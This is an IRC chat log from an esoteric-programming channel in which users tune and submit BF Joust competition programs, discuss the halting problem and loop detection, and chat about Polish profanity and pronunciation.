lol 06:13:49 Score for Patashu_electrictrain: 31.9 06:13:54 -!- nooga has joined. 06:13:59 i'll take those wins thx 06:13:59 ;) 06:14:22 !bfjoust lols t(-_-t)....(>'-')>....\(+_+)/(>_>) 06:14:25 Score for leonid__lols: 0.0 06:14:41 haha 06:14:44 -!- whoppix has joined. 06:14:56 btw. if it doesn't parse it's like suicide on the 0th turn 06:15:02 so < beats opfdkgpofkhf 06:15:08 !bfjoust lols t[-_-t]-....[>'-']>....\[+_+]/[>_>] 06:15:10 Score for leonid__lols: 11.2 06:15:13 good 06:15:14 that sounds backwards 06:15:19 < parses 06:15:28 so that'd suicide on the 1st turn? 06:15:32 oh wait.. "beats" 06:15:37 ....heh :( 06:15:40 oh waiyt 06:15:41 * myndzi switches polarity 06:15:43 I GET IT 06:15:43 so random symbols are fine 06:15:47 yeah 06:15:49 yeah, they are comments 06:15:51 but you can't have () without a *num 06:16:13 !bfjoust lols How the fuck do I win this shit aahrgrgarghargarjgklsajgsgslskarjagrgj 06:16:17 Score for leonid__lols: 17.5 06:16:20 oh 06:18:46 what the hell is this game? 06:18:52 Thing I was wondering about.. If one has a simple state machine, like f.ex. brainfuck, shouldn't it be relatively easy to detect infinite loops, by checksumming the machines state at the start of a loop, and after each iteration, check if the state (or any state in that loop) recurred? 06:19:03 Might be that I'm thinking wrong, I'm pretty tired already :) 06:19:20 busy beaver problem? 06:19:29 you can make arbitrarily complex work happen within an infinite loop 06:19:37 didn't turing said halting problem isn't solvable 06:19:44 by a turing machine. 06:19:44 yes. 06:19:45 it's not in the general sense 06:20:06 oh well nvm 06:20:22 Patashu, sure, I don't aim to solve the halting problem, I was just wondering if detection of simple infinite loops at runtime would work that way. 06:20:31 simple, definitely 06:20:40 suppose a language LOL has only one instruction L, which loops forever 06:20:40 you can detect some infinite loops, just not all of them 06:20:51 then one can check if a LOL program halts or not. 06:20:54 making an algorithm to detect simple infinite loops or a certain kind of infinite loop is easy 06:20:58 whoppix: ,[,.] 06:21:00 whoppix: Good luck. 06:21:39 pikhq, yeah, I know, input/output blows the whole thing up :) 06:21:54 nah 06:21:59 And that method would fail with +[>+] 06:21:59 now the human is just part of the program :) 06:21:59 whoppix: some infinite loops are impossible to detect tho, because whether they exit or not depends on changes that occurred during looping 06:22:17 and in order to determine whether or not it will ever exit, you have to RUN the loop 06:22:20 basically. 06:22:29 pikhq, not if the array of cells wraps at some point 06:22:42 Then it's a finite state automaton. 06:22:47 if its an infinite loop, obviously running it will never end, and you will never get a "no, does not exit" notification. 06:22:48 !bfjoust defend9 http://pastebin.ca/raw/1439062 06:23:00 The FSA halting problem is solvable by a Turing machine. 06:23:01 ;) 06:23:03 Score for ais523_defend9: 58.9 06:23:26 I decided to improve the detection 06:23:30 * leonid_ opens the link 06:23:32 WTH 06:23:43 and also, there's a small change to block patashu_lazy-like strategies 06:23:47 psygnisfive, yes, that was the intention - run it, and then check for a recurring state. If the state doesn't change, and there is no input in the loop, well, it must be infinite. 06:23:48 it's generated in perl 06:23:54 patashu_lazy is the laziest program 06:23:55 :) 06:24:01 pikhq: thats because all non-TMs halt :P 06:24:11 although I see patashu_lazy beats it anyway 06:24:14 whoppix: its not just about recurring state 06:24:15 hah 06:24:18 you dont need recurring state at all 06:24:24 a change too small 06:24:30 oh well, I shall just have to wait for it to fall off 06:24:36 unless you updated with *129, or something 06:24:39 psygnisfive: No. +[] is valid on a non-TC Brainfuck. 06:24:43 And it doesn't halt. 06:24:44 I did 06:24:56 psygnisfive, well, assuming that we have a limited amount of cells (wrapped or not), somewhen the state has to recur 06:24:57 pikhq: i didnt say TC, i said TM. :P 06:25:01 I'd have to set the flag to 128+71 in order to block /all/ strategies of that kind 06:25:05 and that would take too long 06:25:16 so there's always going to be some amount of changing that hits the flag, but not the tripwire 06:25:23 (given that those cells also have a max value which wraps or throws an error if you try to increase it) 06:25:25 whoppix: if you have a limited number of cells, it cant be turing complete. unless im missing something. 06:25:50 psygnisfive, sure, I never said it had to be 06:26:02 so in those cases, yes, you should be able to detect infinite loops, since itd be an FSA. 06:26:06 so: I lose to lazy, rushpolarity, speedy1, viper, and slowrush 06:26:19 !bfjoust lols http://pastebin.ca/raw/1439066 06:26:23 Score for leonid__lols: 17.5 06:26:40 Talking about halting problems, has this been posted here already? http://www.getacoder.com/projects/detect_loop_106243.html 06:26:49 made me lol. 06:27:02 the loss to viper is a misdetection 06:27:06 psygnisfive: But there are things that don't halt that aren't Turing machines! 06:27:11 oops lol 06:27:19 I changed lazy so it doesn't beat defend9 but it beats more things overall 06:27:23 ((lambda (x x)) (lambda (x x))) ;! 06:27:36 but it might be because of ~~~:'(HASH BASED RANDOMNESS:'(~~ 06:28:30 as is the loss to speedy1, but despite the misdetection it would still win if the tape length were just right, by coincidence 06:28:32 * Patashu lols at the link 06:28:54 !bfjoust lols http://pastebin.ca/raw/1439069 06:28:56 Score for leonid__lols: 0.0 06:28:59 :/ 06:29:03 haha 06:29:04 the loss to slowrush is because slowrush is so slow in reducing a value to 0 the tripwire timing doesn't work 06:29:36 hey question 06:29:43 if it's modified to run all tape lengths and both polarities 06:29:50 should all tape length matches have equal weighting? 06:30:08 the case of 30 length in particular is interesting since you can trivially code a program to behave differently for the 30-length tape 06:30:11 pikhq: doesnt matter 06:30:22 actually, yes it does matter 06:30:22 sorry 06:30:35 anything that doesnt halt /is/ a turing machine, just not a UNIVERSAL turing machine. 06:30:48 Ah. 06:30:54 Sorry; forgot that distinction. 06:30:55 and rushpolarity acts different ways on alternate steps 06:31:02 so the detection code doesn't help there 06:31:07 ooh 06:31:10 aha :) 06:31:11 it has a purpose 06:31:19 put another way, the only way to get non-halting behavior is to have a Type-0 grammar 06:31:34 !bfjoust lol http://pastebin.ca/raw/1439071 06:31:36 i quit :/ 06:31:38 Score for leonid__lol: 18.4 06:31:50 lol 06:31:54 just wait until tomorrow 06:31:56 ignoring, ofcourse, trivial non-halting behavior like S -> S or similar. 06:31:57 or whenever it gets updated 06:32:05 leonid_: weren't you second a while ago? 06:32:15 yeah by abusing ~~~:'(HASH BASED RANDOMNESS:'(~~ 06:32:20 ah, aha 06:32:20 i was annoyed that those codes were hash code abusal 06:32:20 productions of recursive rules dont halt, but parsings of them do. 06:32:26 or can. 06:33:05 i suppose that sort of "infinite loop" is possible, but its trivial, and its the sort that is easily detectable. 06:33:08 one interesting point is that there are some programs which have hovered at around the same board position forever 06:33:11 so i guess you dont need a TM at all. 06:33:12 like defend6 06:33:20 and some which have been really near the top, then plummeted 06:33:29 like vibration_fool_fast 06:33:40 but you do need a TM for non-trivial loops. 06:33:43 rushpolarity seems to have relatively good staying power 06:33:48 yes 06:33:49 is vibration a good strategy? 06:33:55 leonid_: I'm not sure 06:34:03 if so, where's dossar when we need him 06:34:04 nvm 06:34:06 I think it might be 06:34:09 wrong community 06:34:09 lol 06:34:26 dam 06:34:27 just you'd need to combine it with something defend9-style 06:34:38 also, it's more or less defeated by the [+[-]] trick 06:34:53 what specifically does [+[-]] do? 06:34:58 * leonid_ is bf n00b 06:35:09 leonid_ alternately increases and tests for zero 06:35:15 well, no 06:35:19 it goes like this: +, -]-]-]...until cell starts at zero on the turn a ] is executed 06:35:21 then next turn it tests again 06:35:22 there are several cases 06:35:24 leonid_, increase the current cell, decrease it until its zero, increase it... 06:35:32 but it won't leave the loop until the cell is zero twice in a row 06:35:34 if it's still zero it moves on, else it goes back to the + at the start and goes into -]-]-]... again 06:35:41 ] is a nop except for testing btw 06:35:46 so the only way a vibration program could beat a [+[-]] program would be defend9-style 06:36:08 but how would it know that the enemy was in a [+[-]] loop? 06:36:17 it would have to guess, AFAICT 06:36:22 which is why vibration tends not to do well 06:36:32 [+[-]] is pretty optimal innit? 06:36:38 it's a neat strategy 06:36:41 will there be a bf code that wins every code? 06:36:48 nope lol 06:36:51 except itself 06:37:07 leonid_: I suspect any program could be beaten by another program specifically designed to beat it 06:37:27 hmm 06:37:28 basically if you're on a flag, [+[-]] won't leave until you've won 06:37:40 which means your opponent has to win first OR keep you stalled and run forward and try and win itself 06:37:41 so the only thing the opponent can do is capture your flag 06:37:43 which is what defends try to do 06:37:51 then if a person designs beatrank1 and spams it throughout the hill, the rank will be reversed 06:38:01 leonid_: but how to spam? 06:38:02 what if it ONLY beats the rank 1 program though 06:38:06 beatrank1_1 06:38:07 each of the spam programs would be eliminated 06:38:07 beatrank1_2 06:38:09 beatrank1_3 06:38:09 etc 06:38:15 unless they were good enough to beat some of the other programs already there 06:38:16 everything else beats it 06:38:19 so it can only go so high on the hill 06:38:26 as more copy programs beat the winner and nothing else 06:38:29 they'll gain less and less momentum 06:38:33 and only be able to fill spots up to a certain level 06:38:35 like a person in rank2 can do that 06:38:43 so that he would go up 06:39:15 in order to really pull off that strategy, your program would need to beat the whole hill... 06:39:33 -!- oerjan has joined. 06:39:39 beating the top player is a decent boost 06:39:45 but not a cincher 06:39:47 hi oerjan 06:39:52 the program has to be legitimately good for the most part 06:39:52 hi ais523 06:40:00 I've been jousting all night 06:40:02 seen my Eodermdrome program? 06:40:05 and no, I haven't 06:40:11 interp, or program written in Eodermdrome? 06:40:16 the world is sadly lacking in either 06:40:17 written in 06:40:31 although IIRC someone here wrote an Eodermdrome interp, but I've never seen it 06:40:45 * oerjan vaguely recalls oklopol mentioning it 06:40:52 oerjan: is it on Esolang? 06:40:55 yes 06:41:11 also on my home page with ASCII drawings 06:41:22 * oerjan needs to add a small comment 06:42:20 that certainly looks impressive 06:42:27 I want to test it now, and can't... 06:42:31 heh :D 06:42:32 maybe I'll write an interp of my own to test it on 06:43:00 it would be even more impressive if it happens to have no bugs of course 06:43:10 woah O_O 06:43:11 !bfjoust rushpolarity >((+)*20>(-)*20>(-)*20>(+)*20)*2>((+)*10[+[-]](+)*20>(-)*10[-[+]](-)*20>)*11 06:43:14 check this out 06:43:15 Score for Patashu_rushpolarity: 68.4 06:43:18 woo 06:43:23 OORAH GO SWANS 06:43:44 oerjan: I like the way you tried to make your words pronouncable 06:44:32 yeah :D 06:45:02 Patashu: gah, you pushed defend9 down to fifth by making rushpolarity better 06:45:15 added comment: Note: BCT program part should be at least 3 characters long. 06:45:44 (if the current command ends in 0 and that is the whole program, the deletion and appending of it conflict 06:45:49 ) 06:45:57 A much bigger challenge would be to write an eodermdrome BCT interp which was also valid English 06:46:04 indeed 06:46:05 the whitespace deletion around punctuation was designed to make that possible 06:46:10 but it would still be pretty difficult 06:46:13 ic 06:47:00 best permutation I can find is: 06:47:00 !bfjoust rushpolarity >((+)*20>(-)*20>(-)*20>(+)*20)*2>((+)*20[+[-]](+)*18>(-)*20[-[+]](-)*18>)*11 06:47:01 ais523: my design just squeezes in btw, the 11/1 case uses 23 characters 06:47:04 Score for Patashu_rushpolarity: 71.7 06:47:13 that's p. good 06:47:14 second place 06:47:20 oerjan: 23 /different/ characters? 06:47:22 yep 06:47:47 I'm relatively sure it would be possible to cut a long rewrite into two smaller rewrites 06:48:11 ais523: i think maybe if you handle program and data part separately that might work 06:48:30 i do each step in one substitution 06:49:17 time to go home, anyway 06:49:23 < Patashu> basically if you're on a flag, [+[-]] won't leave until you've won 06:49:32 i am a little confused as to why [[-]] doesn't seem to do that 06:49:54 the cell would have to be 0 two instructions in a row to leave that loop 06:49:59 but every time i've tried it it hasn't worked 06:52:33 might be an interp bug 06:52:39 what about [.[-]] ? 06:52:43 i was thinking possibly so 06:52:45 i don't know 06:52:45 or [X[-]] 06:52:47 try :) 06:53:28 where X is a literal X 06:53:32 just to see if the comment breaks it up XD 06:54:01 i don't know, i wouldn't really be able to tell if it works or not atm 06:54:09 i'm hesitant to twiddle the programs i already have because of the randomness thing 06:54:11 it'd be hand to tell 06:54:26 it just seems like [[-]] or [[+]] never did nearly as well as expected 06:54:37 whereas something like [-.] did much better 06:55:07 i think i'll wait till something is done about the randomness or ehird completes his interpreter 06:56:21 here's a question 06:56:34 if we changed the rule of 'flags need to be at 0 for 2 consecutive cycles' to 3 consecutive cycles 06:56:39 how would it change the nature of the game? 06:57:17 probably about the same as my suggestion to have [] test at the end instead of beginning of a cycle 06:57:27 or actually, you could do something like have [ test at the start and ] at the end, possibly 06:57:36 anyway, it would enable someone to sit on their flag and react when it became 0 06:57:44 oh yeah 06:57:46 I see 06:57:54 you get 1 turn reaction 06:57:54 ais523: a reasonably efficient Eodermdrome interpreter probably needs to be somewhat clever, since the language is based on an NP-complete problem 06:57:56 which would either give rise to a bunch of ties, unbeatable programs, or add a new aspect and some variety 06:58:46 what about loop while the enemy pointer is here/loop while the enemy pointer is not here? 06:58:53 one of those was in fyb 06:59:00 but that was also multipointer 06:59:54 i think that would just give rise to either ties or uselessness at first blush 07:00:02 i mean, what would you use it for? obviously, keeping them from taking your flag 07:00:05 * myndzi shrugs 07:00:27 technically bfjoust is turing complete...err, bounded state machine :) 07:00:27 hmmmmm 07:00:38 it's obvious that if one can tell exactly when and where the enemy pointer is, and react to it, they can wait until you leave and then win 07:00:42 but you're also limited on how much time you have to do computation in, and the manner of input you can expect 07:00:43 thus you would never leave since you can tell when they are waiting 07:00:49 and so the best you can hope for is a tie 07:01:09 * leonid_ 's brains can't understand the essence of bfjoust 07:01:20 leonid 07:01:25 have you ever looked at the brainfuck algorithms page? 07:01:26 what 07:01:29 most of them aren't directly applicable to bfjoust 07:01:29 more or less; i suppose you can do defend style trickery, if you decided to try and time things, then you basically have two programs struggling to get a timing that throws the other one off 07:01:40 but really it seems like you'd just end with less variety 07:01:46 but it shows how interesting bf actually is as a language 07:01:49 bf algo page? 07:01:52 so simple and unwieldly-looking but turing complete 07:01:53 yeah sec 07:01:55 there's already not exactly an overwhelming variety to begin with :P 07:02:13 http://esolangs.org/wiki/Brainfuck_algorithms 07:02:30 cool 07:02:40 i think if you want to add something, if !0 or if 0 would be good starts. yeah, you can do it with looping brackets, but to do so requires a lot of extra code that just ends up being baggage to the interpreter 07:03:00 ifs with elses or regular ifs? 07:03:05 most other comparisons would require two fields which is even more un-bflike 07:03:23 just regular ifs, i should think, but hey while you're fucking up brainfuck, elses too 07:03:23 :P 07:03:35 let's also add LT and GT! 07:03:42 augh...literals 07:03:43 and SUB! 07:03:44 in my brainfuck 07:03:46 wait, how about DIV 07:03:47 :D 07:03:51 sit on their flag and div by 2 07:03:59 yeah was going to say 07:04:05 nothing that can alter a cell value by more than 1 is fair 07:04:18 i'm obviously being facetious :P 07:04:22 oh phew 07:04:31 i think bfjoust worked out well 07:04:37 of course if it hadn't none of us would still be caring 07:04:48 i don't think there's much you can do to "fix it" 07:05:30 well later on 07:05:33 we could experiment 07:05:38 code in a different opcode every few days 07:05:49 i don't think opcodes is the thing to experiment with really 07:06:00 the framework seems a better choice 07:06:05 the goal, the environment, etc. 07:06:14 the environment of bfjoust? 07:06:22 i mean the 10-30 cells 07:06:22 -!- ais523 has quit (Read error: 110 (Connection timed out)). 07:06:25 or what they are initialized to 07:06:31 or how you can lose 07:06:34 that sort of thing 07:06:36 how you can lose maybe 07:06:41 I think it would be interesting to make suicide NOT a loss 07:06:43 but just noping forever 07:06:48 for example, making it wrap around.. 07:06:52 haha 07:06:53 would affect things weirdly 07:06:53 :o 07:06:58 yes that too 07:07:00 but at least keep it a playable game, i think 07:07:06 extend forever or wrap around or falling off is nopping forever 07:07:09 that's three alternatives 07:07:15 extend forever is just silly 07:07:28 you could have it sweep back and forth though 07:07:32 go to cell 30 then reverse 07:07:32 make it so once you've zeroed their flag you have to take it back to your "base"! 07:07:34 ;) 07:07:40 sorta 07:07:44 that would nullify lots of strategies 07:07:57 can't make an omlette etc etc 07:07:58 and everyone'd end up writing huge code like defend 07:08:11 and these would all be temporary changes 07:08:12 'cause that's about the only way you can limit the number of cycles or keep track of where you are 07:08:14 to see who can adapt to each change best 07:08:15 y'know? 07:08:23 once there's not much left to do in original bfjoust (should that day come) 07:08:26 better held as mini tournaments 07:08:29 ya 07:08:34 not in place of the existing bot 07:08:39 sorta like some of the corewars events 07:08:44 yea 07:08:45 ? 07:08:49 what do they do 07:09:03 there've been corewars tournaments held where somebody came up with a unique idea/twist 07:09:08 and people wrote programs to submit to them 07:09:26 they play out, winner wins, that's that :P 07:09:31 the hill setup is a lot more interactive 07:09:36 (and putting it as an irc bot even more so) 07:09:51 there's a lot more spamming the hill with multiple slight changes going on here than it seems happens with corewars 07:10:09 of course, most of us don't have local interpreters and debugging environments to get stuff done in before submitting i guess 07:10:15 yeah :) 07:10:16 haha 07:17:33 -!- oerjan has quit ("leaving"). 07:17:47 I'm pondering what kind of strategy I haven't tried yet 07:17:49 how do we calculate sqrt with bf 07:17:56 besides something I need to compile from a higher level language 07:18:08 leonid: it's possible because bf is turing complete but I dunno offhand o.O 07:18:30 I know you can do ^2 by copying a number and then multiplying it with itself 07:21:25 hmm 07:21:36 and there's code for doing relational operators so 07:21:50 you could implement a slow sqrt by squaring each natural number and comparing it to the original number 07:22:15 until it's greater than then use the number one before that 07:22:46 and I'm sure you can optimize it from there 07:24:57 !bfjoust ugh (>(+-)*10000)*20(>[-[+]])*10 07:25:01 Score for leonid__ugh: 12.2 07:25:23 !bfjoust ugh nah arghaurgarubjnargefo 07:25:26 try removing the first > then multiply the last step by 30 07:25:26 Score for leonid__ugh: 16.8 07:25:35 hmmm 07:25:46 !bfjoust ugh (+-)*200000(>[-[+]])*30 07:25:50 Score for leonid__ugh: 18.6 07:25:58 just so you know it's limited to 100k cycles atm 07:25:58 uh a little better ?_? 07:26:09 !bfjoust ugh (+-)*900000(>[-[+]])*30 07:26:12 lol 07:26:12 Score for leonid__ugh: 18.6 07:26:18 -!- nooga_ has joined. 07:26:22 try *40000 07:26:26 bfjoust ugh (+-)*9999999999999999999999999999999999999(>[-[+]])*30 07:26:44 lol 07:26:48 i think i'm addicted 07:27:05 gj it overflows a long long 07:27:16 * leonid_ didn't run it 07:27:21 oh 07:27:22 lol 07:27:23 :D 07:27:39 it ALMOST overflows a long long long 07:27:41 go for the trifecta 07:27:49 '?_? 07:27:59 2^128 07:28:52 bfjoust ugh (+-)*`ruby -e'p 2**128'`(>[-[+]])*30 07:28:54 oh wait 07:29:01 would that work haha 07:29:02 I think it's in c 07:29:08 i know 07:29:47 -!- GreaseMonkey has joined. 07:30:04 bfjoust ugh ((>[-[+]])*20(<)*20)*10 07:30:14 !bfjoust ugh ((>[-[+]])*20(<)*20)*10 07:30:17 Score for leonid__ugh: 31.6 07:30:20 oh nice 07:30:20 interesting 07:30:30 !bfjoust ugh ((>[-[+]])*25(<)*25)*10 07:30:34 Score for leonid__ugh: 32.5 07:30:40 aah i'm using hash again 07:30:43 no 07:30:45 it's not the hash lol 07:30:50 that's an actual mechanical change 07:30:52 cheer up bro 07:30:53 no i mean 07:30:55 uh 07:31:04 um 07:31:05 nvm 07:31:08 :D 07:31:12 !bfjoust ugh ((>[-[+]])*30(<)*30)*10 07:31:15 Score for leonid__ugh: 36.4 07:31:22 !bfjoust ugh ((>[-[+]])*30(<)*30)*100 07:31:26 Score for leonid__ugh: 27.7 07:31:28 nah 07:31:50 why not just 07:31:58 (>[-[+]])*29 07:31:59 lol 07:32:04 !bfjoust ugh ((>[-[+]])*29(<)*29)*10 07:32:07 Score for leonid__ugh: 26.6 07:32:10 if you go all the way to the end of the tape with a [-[+]] construct 07:32:13 and it ends you know you've hit the flag 07:32:31 !bfjoust ugh ((>[-[+]])*30(<[-[+]])*30)*10 07:32:34 Score for leonid__ugh: 34.1 07:33:32 !bfjoust ugh ((>[-[+]])*20(<[-[+]])*20)*100 07:33:36 Score for leonid__ugh: 19.3 07:33:40 !@#!$(@&$( 07:33:55 -!- nooga has quit (Read error: 60 (Operation timed out)). 07:34:10 !bfjoust ugh ((>[-[+]])*30(<[-[+]])*30(-)*100000)*10 07:34:13 Score for leonid__ugh: 29.9 07:34:27 !bfjoust ugh ((>[-[+]])*30(<[-[+]])*30(+-)*100000)*10 07:34:29 Score for leonid__ugh: 25.8 07:35:03 !bfjoust ugh ((>[-[+]])*30(<[-[+]])*30(+)*100000)*10 07:35:05 Score for leonid__ugh: 30.5 07:35:09 ;p 07:35:27 !bfjoust ugh ((>[-[+]])*30(<)*30(+)*100000)*10 07:35:30 Score for leonid__ugh: 34.1 07:36:42 !bfjoust ugh ((>(+)*19>(-)*19)*5(>)*5(>[-[+]])*15(<)*30)*10 07:36:45 Score for leonid__ugh: 55.4 07:36:48 nice 07:37:00 !bfjoust ugh ((>(+)*19>(-)*19)*7(>[-[+]])*15(<)*30)*10 07:37:03 Score for leonid__ugh: 47.1 07:37:07 !bfjoust ugh ((>(+)*19>(-)*19)*7(>[-[+]])*15(<)*29)*10 07:37:09 Score for leonid__ugh: 62.3 07:37:12 cool 07:37:26 !bfjoust ugh ((>(+)*19>(-)*19)*7(>[-[+]])*15(<)*29(-)*100000)*10 07:37:29 Score for leonid__ugh: 44.6 07:37:30 !bfjoust ugh ((>(+)*19>(-)*19)*7(>[-[+]])*15(<)*29(-)*10000)*10 07:37:33 Score for leonid__ugh: 54.6 07:37:45 !bfjoust ugh ((>(+)*19>(-)*19)*8(>[-[+]])*14(<)*30)*10 07:37:49 Score for leonid__ugh: 37.4 07:37:58 !bfjoust ugh ((>(+)*19>(-)*19)*5(>[-[+]])*10(<)*25)*10 07:38:01 Score for leonid__ugh: 30.3 07:38:06 !bfjoust ugh ((>(+)*19>(-)*19)*7(>[-[+]])*15(<)*29)*10 07:38:08 Score for leonid__ugh: 62.3 07:38:10 hmmm 07:38:43 why does my code always beat slowrush lmao 07:39:44 !bfjoust ugh ((>(+)*19>(-)*19)*7(>[-[+]])*15(<[-[+]])*29)*10 07:39:48 Score for leonid__ugh: 64.5 07:39:51 hmmm 07:40:01 second place lol 07:40:02 k rank 2 again lol 07:40:09 argh 07:40:43 !bfjoust ugh ((>(+)*19>(-)*19)*6(>[-[+]])*15(<[-[+]])*27)*10 07:40:44 ?_? 07:40:45 Score for leonid__ugh: 39.6 07:40:51 nah constants 07:40:59 !bfjoust ugh ((>(+)*19>(-)*19)*7(>[-[+]])*15(<[-[+]])*29)*10 07:41:02 Score for leonid__ugh: 64.5 07:41:12 !bfjoust ugh ((>(+)*31>(-)*31)*7(>[-[+]])*15(<[-[+]])*29)*10 07:41:15 Score for leonid__ugh: 32.4 07:41:26 k going to spam EgoBot via PM 07:44:50 -!- olsner has joined. 07:49:43 ode to bfjoust 07:50:03 you know, decoy setup time vs attack setup time is an arms race 07:50:19 it's only useful to make bigger decoys because people have bigger attack setup because people make bigger decoys because... 07:52:28 -!- whoppix has quit ("Verlassend"). 07:54:23 fuck 07:54:35 Patashu: i've never seen you here? 07:54:41 i mean 07:54:53 excemp this day an yesterday 07:54:58 except* 07:55:06 and* 07:55:26 yup I recently migrated here 07:55:30 oh 07:55:48 i've been here (probably) from the begining 07:56:08 i moved from anagol 07:56:13 with a little gap 07:56:14 same 07:56:26 (2 years?) 07:56:46 where are you from? btw 07:56:50 !bfjoust ugh ((>(+)*19>(-)*19)*7(>[-[+]])*15(<)*29)*37 07:56:51 no 07:56:52 Score for leonid__ugh: 72.3 07:56:54 ( i moved from anagol) <-- same 07:56:55 i know that 37 is bs 07:57:06 omg i'm using hash again 07:57:08 aargarghargh 07:57:10 i mean the country :P 07:57:14 country 07:57:15 me korea 07:57:15 Australia 07:57:26 you know he's korean because he's good at rhythm games 07:57:27 but...wait... 07:57:30 I'm good at rhythm games too O_O 07:57:32 wrong community 07:57:37 it's still true 07:57:37 ;p 07:57:47 haha i'm rank 1 07:58:01 *dances* 07:58:16 hanguk :D 07:58:31 hancock 07:58:51 i've tried to learn that script 07:58:58 which script 07:59:12 hangul (hanguk?) 07:59:15 oh 07:59:20 learn it it's easy 07:59:31 quite strict 07:59:33 ./sarcasm 07:59:59 -!- clog has quit (ended). 08:00:00 -!- clog has joined. 08:00:31 i'd rather use .* 08:00:46 ;p 08:00:48 xml 08:00:49 feisty 08:00:56 OS X 08:00:57 :D 08:00:58 def sarcasm() 08:01:02 exit 08:01:04 end 08:02:20 doh 08:02:26 amphetamine 08:02:41 too bad there's no "age" stat on the hill 08:02:50 that'd be almost more useful/interesting than points at the moment 08:02:52 that would be good 08:03:12 i guess we could always calculate it from the logs 08:03:23 but that wouldn't include replacement programs 08:03:23 myndzi: are you also from #anagol? 08:03:31 no 08:03:35 on this network? 08:03:47 anagol 08:03:49 more like 08:03:50 embedgol 08:04:06 anyway, my nick's been registered for some time but i didn't really come to this network until #corewars did 08:04:30 but i've never been in #anagol 08:06:22 uh' 08:06:26 new ppl :D 08:06:53 myndzi: deutsch? 08:22:28 brb nap 08:22:40 * leonid_ jumps into the bed 08:23:57 -!- oerjan has joined. 08:30:31 amphetamine 08:36:23 -!- lereah_ has joined. 08:41:54 ... 08:42:07 ::: 08:42:29 oh, oerjan 08:43:19 ssh, i'm here incognito 08:43:52 did you sleep this night? ;p 08:44:11 yes, badly 08:44:23 congrats 08:44:31 i didn't 08:44:46 condolences 08:44:59 (condols?) 08:45:19 that's appropriate 08:45:45 condols sounds a bit like condoms 08:46:41 maybe to a pole, i hear you do strange things with l's 08:46:53 * oerjan ducks 08:46:59 really? 08:47:26 l in Polish is like l in lame 08:47:42 we have ł 08:48:22 oerjan: the strange things are done to a different l 08:48:23 but it's like wa in watch 08:48:29 yeah if that's not doing strange things with l's i don't know what would count 08:48:58 the poor thing is speared! 08:49:05 point is, they're doing it to Ł, not L :) 08:49:07 ? :O 08:49:26 olsner: shh, you 08:49:57 oerjan: have some sour milk, weird norwegian guy 08:50:00 -!- ais523 has joined. 08:50:14 sorry, allergic to milk 08:50:22 olsner: that makes me think that you're weird 08:50:25 how is milk involved? 08:50:34 i hate milk 08:50:34 oerjan: I'm intolerant to milk, as it happens 08:50:41 ais523: I involved it, I'm pouring it over oerjan 08:50:41 well that. 08:50:45 it's unhealthy to drink milk, for adults 08:50:45 * myndzi sighs 08:50:46 not quite the same as being allergic, but it's still unwise for me to drink too much 08:50:48 aayyyeeh! 08:50:54 leonid_: i thought you decided better than to f* around with the rng 08:50:54 :P 08:51:05 ais523: i started reacting to it a few years ago 08:51:14 kurwa mać 08:51:28 since last spring i've had to cut it out 08:51:29 kurwa is the only useful polish word I can pronounce 08:51:40 olsner: and you're? 08:51:44 what does kurwa mean? 08:51:49 ummm 08:51:50 my two programs gain 10 and 12 points just for breaking from the tape length you managed to force with your nonsensical program :\ 08:51:57 somethink like bitch 08:52:07 but it's used like fuck in english 08:52:12 hard to translate 08:52:18 *g 08:52:24 you mean fuck as in fornication? :P 08:52:30 force? 08:52:35 or fuck as an exclamation 08:52:41 hehehe 08:52:51 I've been told it's also a cognate of scandinavian 'kurva' (which simply means a bend in a road) 08:53:06 Polish cursewords are quite complez 08:53:10 complex 08:53:28 you can create new oneswhen you need 08:53:35 sweet 08:53:37 every language needs that 08:53:38 :) 08:54:09 zajebiście ~= zakurwiście ~= something like awesome 08:54:12 olsner: not cognate, kurva is from latin curvus 08:54:29 jebać is also a word that you can use to create maaaany cursewords 08:54:37 maybe the polish also borrowed it, or it could be polish/latin cognate 08:54:43 it means, literally: to fuck 08:54:50 oh yes 08:54:56 (but germanic would have turned c/k -> h) 08:55:00 you can certainly create many curse (phrases) with a verb like that ;) 08:55:23 oh wait slavic languages are "satem" group, so they wouldn't keep k either 08:55:29 i think 08:55:30 zajebać = to kill someone, to steal sth; wyjebać = to beat someone, rozjebać = to break sth 08:55:39 najebać (komuś) = to beat someone 08:55:48 przyjebać, also 08:55:50 wyjebać jebać! 08:56:08 przejebane = something is fucked up 08:56:08 i paste together nonsensical polish phrases! 08:56:26 wyjebane = something is awesme 08:56:38 rozjebane = something is broken 08:56:41 etc. 08:56:44 how do you even pronounce "prze"? 08:56:49 hmmm 08:56:51 oerjan: wiktionary says kurwa comes from proto-slavic *kury, from proto-indo-european *kowr-, which they say is a cognate with Latin caurio 08:56:54 gimme a sec 08:56:55 well, that's a silly question 08:57:01 (meaning prostitute) 08:57:04 obviously you pronounce it like you would say it :P 08:57:08 olsner: ah, not the same word then 08:57:14 a bit like english: ptche 08:57:17 curvus <- PIE (s)ker 08:57:26 hm 08:57:31 words mutate in Polish 08:57:41 interesting at least 08:57:55 nooga_: words mutate everywhere 08:57:57 ptcheyebane 08:58:01 just not in the same way 08:58:05 oh 08:58:07 no 08:58:17 at least not in Norwegian AFAIK 08:58:22 i guess that's what you get when you import an alphabet(?) 08:58:29 it's the consonant cluster that is throwing me for a loop 08:58:29 um what do you mean by mutate? 08:58:34 is that supposed to be all one syllable? 08:58:37 ewll 08:58:43 well* 08:58:54 since 'p' and 't' are both plosives(?), you can't do them at the same time 08:59:03 heck, 'ch' is too 08:59:04 :\ 08:59:18 hard to explain in english 08:59:23 so i'm imagining some sort of fricative 'p' sound 08:59:24 hehe 08:59:32 yeah, i bet 08:59:41 * oerjan sics a pterosaur on myndzi 08:59:42 * myndzi sics a pterosaur on oerjan 08:59:50 I always say "plosive" like "ppppplosive" 08:59:51 (ha you tricky person, silent p!) 09:00:01 \o/ \o| 09:00:02 | | 09:00:02 |\ /< 09:00:15 myndzi: it wasn't silent in greek 09:00:33 \o_,- _,-o/ en garde! 09:00:33 | | 09:00:33 /´\ /< 09:00:43 woot, irc-fencing 09:00:48 :D 09:01:03 almost as exciting as irc-pong 09:01:20 Or that IRC interactive adventure we did :D 09:01:41 heh, I remember that 09:01:47 *the original greek 09:02:07 must be two syllables then i guess 09:02:17 norwegian doesn't pronounce pt, but we do a mean kn 09:02:17 http://en.wikibooks.org/wiki/Polish/Basic_grammar << that's not all 09:02:54 myndzi: chew on this _georgian_ surname: mgrvgrvladje 09:02:55 at least kn don't conflict :D 09:02:59 haha oh my 09:03:02 oerjan: Hungarian is fun, people will try to pronounce anything in that 09:03:12 because suffices never change the stem of the word 